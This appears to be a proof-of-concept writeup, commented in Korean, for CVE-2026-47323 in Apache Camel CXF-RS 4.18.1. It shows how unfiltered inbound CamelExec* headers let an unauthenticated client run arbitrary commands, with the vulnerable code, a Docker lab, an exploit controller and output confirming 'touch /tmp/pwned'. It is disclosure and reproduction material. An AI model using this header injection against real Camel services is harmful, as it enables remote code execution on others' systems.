// CxfRsHeaderFilterStrategy.initialize() (영향받은 4.18.1) — 오직 아웃바운드 필터만 구성됨:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (setInFilterStartsWith(...) 없음, 따라서 인바운드 Camel* 헤더는 필터링되지 않음)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — 인바운드 HTTP 헤더가 전략을 통해 복사됨:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // 드롭됨 — 그러나 인바운드 필터가 없으므로 CamelExecCommandExecutable은 드롭되지 않음
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- 주입된 헤더가 여기에 도착
    }
}

from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // 작성자가 고정한 무해한 명령
    .setBody(constant("ok\n"));

CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # 단일 자체 포함 서비스
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS 계약: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # 공격자: 주입된 CamelExec* 헤더로 GET /ping
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # 주입된 명령에 의해 생성됨
docker compose down

mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

marker before: false

=== 1) 정당한 요청 (주입된 헤더 없음) ===
  response: ok
  marker created: false

=== 2) 주입된 CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> 헤더 인젝션 / RCE 증명 — 인증되지 않은 HTTP 클라이언트가 CXF-RS 요청에 CamelExec* 헤더를 주입하여
>>> 라우트가 임의 명령을 실행하도록 함 (touch /tmp/pwned): true